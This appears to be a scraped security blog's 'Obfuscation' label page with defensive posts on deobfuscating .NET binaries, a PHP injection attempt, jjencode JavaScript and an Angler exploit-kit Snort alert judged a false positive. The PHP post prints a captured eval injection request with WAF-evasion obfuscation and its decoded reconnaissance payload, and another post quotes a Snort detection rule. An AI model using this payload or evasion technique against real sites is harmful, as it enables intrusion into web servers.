If you open up an executable and realize it's .net
then you try using ilspy or dnspy but it's simply not readable, tons of unicode and other things
give de4dot a try
https://github.com/Robert-McGinley/de4dot-Installer
it's as sample as running the command
de4dot.exe Obfuscated.exe
and it will create a new cleaner file called
Obfuscated-cleaned.exe
then re-open that cleaned file in ilspy or dnspy and hopefully it'll be more readable
Showing posts with label Obfuscation. Show all posts
Showing posts with label Obfuscation. Show all posts
Friday, November 2, 2018
SmartAssembly .NET Obfuscator
If you're analyzing strings in an executable or memory and come across the text
"SmartAssembly"
It means the executable has likely been obfuscated in some way and won't be very readable without unpacking or de-obfuscating it in some way.
"SmartAssembly"
It means the executable has likely been obfuscated in some way and won't be very readable without unpacking or de-obfuscating it in some way.
Download a 14-day free trial of SmartAssembly, a first-rate .NET obfuscator which offers error reporting and feature usage reporting functionality.
https://www.red-gate.com/products/dotnet-development/smartassembly/
Redgate's .NET obfuscator
SmartAssembly is an obfuscator that helps protect your application against reverse-engineering or modification, by making it difficult for a third-party to access your source code.
If your entire business rests on the IP embodied in your software or you don't want your C# or VB.NET code exposed internationally, then obfuscating your code becomes a necessity, not a luxury.
With SmartAssembly, you get a comprehensive set of obfuscation features, including name mangling, control flow obfuscation, strings encoding, reference dynamic proxy, and declarative obfuscation.
Monday, November 23, 2015
More PHP Injection Obfuscation walk-thru
Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0...
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0...
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0...
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, March 24, 2015
Angler exploit kit False Positive
So I saw this alert
EXPLOIT-KIT Angler exploit kit outbound URL structure (1:31046)
Which triggered by this snort rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"EXPLOIT-KIT Angler exploit kit outbound URL structure"; flow:to_server,established; urilen:>70; content:"= HTTP/"; fast_pattern:only; content:"User-Agent"; http_header; content:"="; http_uri; pcre:"/^\/[-\w]{70,78}==?$/U"; flowbits:set,file.exploit_kit.silverlight&file.exploit_kit.jar; metadata:service http; classtype:trojan-activity; sid:31046; rev:3; )
Which was caused by this request
GET /aHR0cDovL2Nkbi5pbmNsaW1nLmNvbS9hZmZpbGlhdGUvZ2V0LW15LXF1b3Rlcy1iYWRnZS5wbmc= HTTP/1.1
Host: mail03.perfectmatchjobs.com
So I plugged this url into virustotal, web of trust, urlquery, urlvoid, etc. and found no findings
(162.222.37.38) hxxp://mail03.perfectmatchjobs.com/aHR0cDovL2Nkbi5pbmNsaW1nLmNvbS9hZmZpbGlhdGUvZ2V0LW15LXF1b3Rlcy1iYWRnZS5wbmc=
But everytime I see random text with an '=' sign at the end I think of Base64 encoding, so I run that through notepad++ Base64 decoding
And I end up with this url
(54.230.99.38) hxxp://cdn.inclimg.com/affiliate/get-my-quotes-badge.png
Which is exactly what shows up when I view it in url query
Which happens to just be an image or advertisement.
So I think this snort alert was a false positive. This is some kind of paid advertising or something and the developers are just encoding or hiding the url to prevent monitoring tools from seeing or detecting the hidden redirect that is occurring.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
EXPLOIT-KIT Angler exploit kit outbound URL structure (1:31046)
Which triggered by this snort rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"EXPLOIT-KIT Angler exploit kit outbound URL structure"; flow:to_server,established; urilen:>70; content:"= HTTP/"; fast_pattern:only; content:"User-Agent"; http_header; content:"="; http_uri; pcre:"/^\/[-\w]{70,78}==?$/U"; flowbits:set,file.exploit_kit.silverlight&file.exploit_kit.jar; metadata:service http; classtype:trojan-activity; sid:31046; rev:3; )
Which was caused by this request
GET /aHR0cDovL2Nkbi5pbmNsaW1nLmNvbS9hZmZpbGlhdGUvZ2V0LW15LXF1b3Rlcy1iYWRnZS5wbmc= HTTP/1.1
Host: mail03.perfectmatchjobs.com
So I plugged this url into virustotal, web of trust, urlquery, urlvoid, etc. and found no findings
(162.222.37.38) hxxp://mail03.perfectmatchjobs.com/aHR0cDovL2Nkbi5pbmNsaW1nLmNvbS9hZmZpbGlhdGUvZ2V0LW15LXF1b3Rlcy1iYWRnZS5wbmc=
But everytime I see random text with an '=' sign at the end I think of Base64 encoding, so I run that through notepad++ Base64 decoding
And I end up with this url
(54.230.99.38) hxxp://cdn.inclimg.com/affiliate/get-my-quotes-badge.png
Which is exactly what shows up when I view it in url query
Which happens to just be an image or advertisement.
So I think this snort alert was a false positive. This is some kind of paid advertising or something and the developers are just encoding or hiding the url to prevent monitoring tools from seeing or detecting the hidden redirect that is occurring.
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, January 8, 2015
De-Obfuscating Malicious Code encoded with JJEncode
Tools like an IDS, browser, etc are getting better at picking up malicious Javascript and client-side code and blocking it or preventing it from running. Thus attackers have become accustomed to this and restore to Obfuscating their malicious code or making it unreadable. This presents problems now because the tools cannot easily see into the obfuscated code (especially if it's randomized or if it's a new obfuscation method the tool doesn't know about).
One such way attackers do that is with jjencode. For example you can encode for free online here.
You could start with plain text code like this
alert('hello world');
and end up with disgusting looking code like this (that performs the same task!)
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$.$_$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$.$$$+$._$+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+$.$$_$+"');"+"\"")())();
If you are one of the good guys, this makes your job difficult because you can't just read and understand code with your naked eye anymore, you have to first de-obfuscate it.
One way to do so for jjencode is to get the jjdecoder python library from github
Then save the obfuscating disgusting looking javascript to a file like 'input.js' and run the following command
C:\Python27>python.exe jjdecoder_test.py input.js
and boom, it outputs the cleaner easier to read code.
Good luck!
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
One such way attackers do that is with jjencode. For example you can encode for free online here.
You could start with plain text code like this
alert('hello world');
and end up with disgusting looking code like this (that performs the same task!)
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$.$_$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$.$$$+$._$+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+$.$$_$+"');"+"\"")())();
If you are one of the good guys, this makes your job difficult because you can't just read and understand code with your naked eye anymore, you have to first de-obfuscate it.
One way to do so for jjencode is to get the jjdecoder python library from github
Then save the obfuscating disgusting looking javascript to a file like 'input.js' and run the following command
C:\Python27>python.exe jjdecoder_test.py input.js
and boom, it outputs the cleaner easier to read code.
Good luck!
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)